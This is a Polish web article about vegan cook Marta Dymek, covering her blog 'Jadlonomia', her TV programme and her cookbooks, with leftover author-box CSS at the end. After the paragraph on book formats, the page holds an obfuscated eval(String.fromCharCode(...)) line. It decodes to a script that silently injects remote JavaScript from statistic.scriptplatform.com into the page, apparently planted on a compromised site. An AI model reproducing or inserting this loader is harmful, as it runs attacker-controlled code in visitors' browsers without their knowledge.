Marta Dymek — dieta roślinna nie tylko dla wegan

Każdy z nas ma swoje ulubione, sprawdzone przepisy, ale od czasu do czasu sięgamy po inspiracje do blogów kulinarnych. Autorzy tych najbardziej popularnych często nie ograniczają się przestrzenią online i stają się autorami książek kulinarnych bądź własnych programów telewizyjnych. Właśnie taką ścieżkę przeszła Marta Dymek.

Marta Dymek i roślinna rewolucja w polskiej kuchni

Marta Dymek to polska kucharka, autorka bloga „Jadłonomia” oraz książek kulinarnych, popularyzatorka weganizmu i diety roślinnej.

Jadłonomia zdecydowanie jest największym sukcesem autorki. Blog został założony w 2010 roku. Całkowicie roślinne przepisy cieszyły się taką popularnością, że już w 2013 Jadłonomia została Blogiem Roku w kategorii „Kuchnia”. Po kolejnej nagrodzie w 2014 roku ukazała się pierwsza książka kulinarna Marty Dymek pod tytułem „Jadłonomia. Kuchnia roślinna. 100 przepisów nie tylko dla wegan”. W tym samym roku autorka zaczęła prowadzić swój autorski program kulinarny w telewizji —  „Zieloną Rewolucję Marty Dymek”. Przepisy rzeczywiście były zieloną rewolucją: spotkały się z bardzo dobrym przyjęciem nie tylko wegan. W 2017 roku ukazała się „Nowa Jadłonomia. Przepisy roślinne z całego świata”, a w 2020 – „Jadłonomia po polsku”.

Którą „Jadłonomię” wybrać?

Zarówno blog, jak i książki kucharskie są znane jako „Jadłonomie”. Po którą warto sięgnąć?

• Na blogu znajduje się wiele już klasycznych przepisów, od których warto zacząć swoją znajomość z kuchnią roślinną.
• „Jadłonomia. Kuchnia roślinna. 100 przepisów nie tylko dla wegan” dzieli przepisy na grupy według głównych składników: kapusty, warzyw strączkowych, grzybów itp. Książka doczekała sześciu dodruków i wciąż jest wznawiana.
• „Nowa Jadłonomia. Przepisy roślinne z całego świata” przedstawia przepisy na roślinne dania z całego świata, na przykład na zupę pho, szwedzkie klopsiki, kimchi i wiele innych.
• „Jadłonomia po polsku” to polska kuchnia w nowej odsłonie. Książka jest podzielona na sześć rozdziałów według jednej z sześciu polskich pór roku i podkreśla sezonową polską produkcję.

Wszystkie książki można kupić w wersji papierowej lub cyfrowej albo w postaci audiobooka.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

.pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { width: 80px !important; height: 80px !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { border-radius: 50% !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { background-color: #655997 !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a:hover { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-recent-posts-title { border-bottom-style: dotted !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { border-style: solid !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { color: #3c434a !important; }